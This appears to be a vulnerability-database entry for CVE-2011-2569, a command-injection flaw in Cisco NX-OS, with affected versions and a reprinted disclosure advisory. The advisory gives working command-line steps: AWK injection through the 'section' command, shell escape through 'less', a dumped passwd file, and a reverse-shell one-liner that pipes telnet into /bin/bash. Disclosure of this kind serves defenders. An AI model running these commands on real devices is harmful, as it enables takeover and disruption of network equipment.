ID
VAR-E-201110-0040
CVE
cve_id: | CVE-2011-2569 | Trust: 0.8 |
TITLE
Cisco Nexus OS (NX-OS) Command Injection
Trust: 0.5
DESCRIPTION
Cisco Nexus OS (NX-OS) suffers from command injection and sanitization issues. Nexus 7000, 5000, 4000, 3000, 2000, and 1000V are all affected. MDS and UCS are also affected. Local access is required.
Trust: 0.5
AFFECTED PRODUCTS
vendor: | cisco | model: | unified computing system 1.4 | scope: | - | version: | - | Trust: 2.4 |
vendor: | cisco | model: | nexus os | scope: | - | version: | - | Trust: 0.5 |
vendor: | cisco | model: | unified computing system | scope: | eq | version: | 2.0 | Trust: 0.3 |
vendor: | cisco | model: | unified computing system | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | cisco | model: | nx-os 5.0 u1 | scope: | - | version: | - | Trust: 0.3 |
vendor: | cisco | model: | nx-os 5.0 n2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 5.0(3) | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 5.0(2) | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 5.0(0.54) | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 4.2.1 | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 4.2(5) | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 4.2(4) | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 4.2(3) | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 4.2(2) | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 4.1(4) | Trust: 0.3 |
vendor: | cisco | model: | nx-os 4.1 n2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | cisco | model: | nx-os 4.0 n2 | scope: | - | version: | - | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | cisco | model: | nexus | scope: | eq | version: | 70000 | Trust: 0.3 |
vendor: | cisco | model: | nexus | scope: | eq | version: | 50000 | Trust: 0.3 |
vendor: | cisco | model: | nexus | scope: | eq | version: | 40000 | Trust: 0.3 |
vendor: | cisco | model: | nexus | scope: | eq | version: | 30000 | Trust: 0.3 |
vendor: | cisco | model: | nexus | scope: | eq | version: | 20000 | Trust: 0.3 |
vendor: | cisco | model: | nexus | scope: | eq | version: | 1000v0 | Trust: 0.3 |
vendor: | cisco | model: | mds | scope: | eq | version: | 9000 | Trust: 0.3 |
vendor: | cisco | model: | mds | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | cisco | model: | unified computing system 2.0 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | ne | version: | 5.2(1) | Trust: 0.3 |
vendor: | cisco | model: | nx-os 5.1 n1 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | ne | version: | 5.1(1) | Trust: 0.3 |
vendor: | cisco | model: | nx-os 5.0 u2 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | cisco | model: | nx-os | scope: | ne | version: | 4.2(6) | Trust: 0.3 |
vendor: | cisco | model: | nx-os 4.2 sv1 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | cisco | model: | nx-os 4.2 n2 | scope: | ne | version: | - | Trust: 0.3 |
vendor: | cisco | model: | nx-os 4.1 n2 | scope: | ne | version: | - | Trust: 0.3 |
EXPLOIT
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Cisco Nexus OS (NX-OS) - Command "injection" / sanitization issues.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Discovery by:
1) Peter Adkins <adkins.peter@gmail.com>
Access:
1) Local; authenticated access is required.
CVE-ID:
1) CVE-2011-2569
OS' Affected:
1) Cisco Nexus OS (NX-OS)
Vendor involvement:
1) Alerted - patches available / implemented for some platforms.
Systems / platforms affected:
1) Nexus 7000
2) Nexus 5000
3) Nexus 4000
4) Nexus 3000
5) Nexus 2000
6) Nexus 1000V
7) MDS
8) UCS
Notes:
1) Local access is required. However, unprivileged accounts can gain
access to the underlying Linux operating system, effectively providing
complete access to the device. This could potentially lead to issues
in environments where NOC and other staff are permitted low-level access
for first point of call, etc.
-----------------------------------------------------------------------------
NX-OS - "section" sub-command - Command injection / sanitization issues.
-----------------------------------------------------------------------------
This issue was found on the Nexus 7000 platform. It is believed to
also affect the following platforms:
* Nexus 7000 ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )
* Nexus 5000 ( OS < UNK )
* Nexus 4000 ( OS < UNK )
* Nexus 3000 ( OS < UNK )
* Nexus 2000 ( OS < UNK )
* MDS ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )
The section command appears to be an AWK script to which the requested
string is passed. However, the input does not appear to be sanitized
correctly. As a result, AWK can be used to execute arbitrary commands on the
Linux subsystem.
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/'
> 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
This can even be used to remove all files on the bootflash and issue a
'reboot' command to the system. However, rebooting from the Linux subsystem
causes the device to spew messages to the console and lock; rather than
actually reloading the device.
-----------------------------------------------------------------------------
NX-OS - "less" sub-command - Command injection / sanitization issues.
-----------------------------------------------------------------------------
Believed to affect the following versions of software:
1) Nexus 7000 ( OS < 5.1(1) )
2) Nexus 5000 ( OS < 4.2(1)N2(1) )
3) Nexus 4000 ( OS < UNK)
4) Nexus 2000 ( OS < 4.2(1)N2(1) )
5) UCS* ( OS < 1.4(1i) 1.3(1c) )
6) Nexus 1000V ( OS < UNK )
7) MDS ( OS < 5.1(1) )
* On the UCS platform commands injected are executed as root.
As an example:
switch# sh clock | less
Once less is presented we open files by pressing colon and then "e" and
specifying the path to the file.
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
However, this is just read-only access once again. BUT, if we use the "|"
(pipe) and then "$" key macro, we can execute commands.
!ls -lah > /bootflash/20110715
As shown below, the file has been created on the boot-flash.
switch# dir
97 Jul 15 12:01:44 2011 20110715
Using this method, I have been able to establish a remote shell into the
NX-OS Linux subsystem using the following:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
Even the reboot command is accepted as a valid input. However, rather than
rebooting the device, it causes the system to lock while spewing errors
to the console.
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):
Trust: 0.5
EXPLOIT HASH
LOCAL | SOURCE | ||||||||
|
|
Trust: 0.5
PRICE
free
Trust: 0.5
TYPE
Input Validation Error
Trust: 0.3
TAGS
tag: | exploit | Trust: 0.5 |
tag: | local | Trust: 0.5 |
CREDITS
Peter Adkins
Trust: 0.5
EXTERNAL IDS
db: | NVD | id: | CVE-2011-2569 | Trust: 0.8 |
db: | PACKETSTORM | id: | 106171 | Trust: 0.5 |
db: | BID | id: | 50347 | Trust: 0.3 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2011-2569 | Trust: 0.5 |
url: | http://tools.cisco.com/security/center/viewalert.x?alertid=24458 | Trust: 0.3 |
SOURCES
db: | BID | id: | 50347 |
db: | PACKETSTORM | id: | 106171 |
LAST UPDATE DATE
2022-07-27T09:52:21.729000+00:00
SOURCES UPDATE DATE
db: | BID | id: | 50347 | date: | 2015-03-19T08:37:00 |
SOURCES RELEASE DATE
db: | BID | id: | 50347 | date: | 2011-10-24T00:00:00 |
db: | PACKETSTORM | id: | 106171 | date: | 2011-10-25T00:01:44 |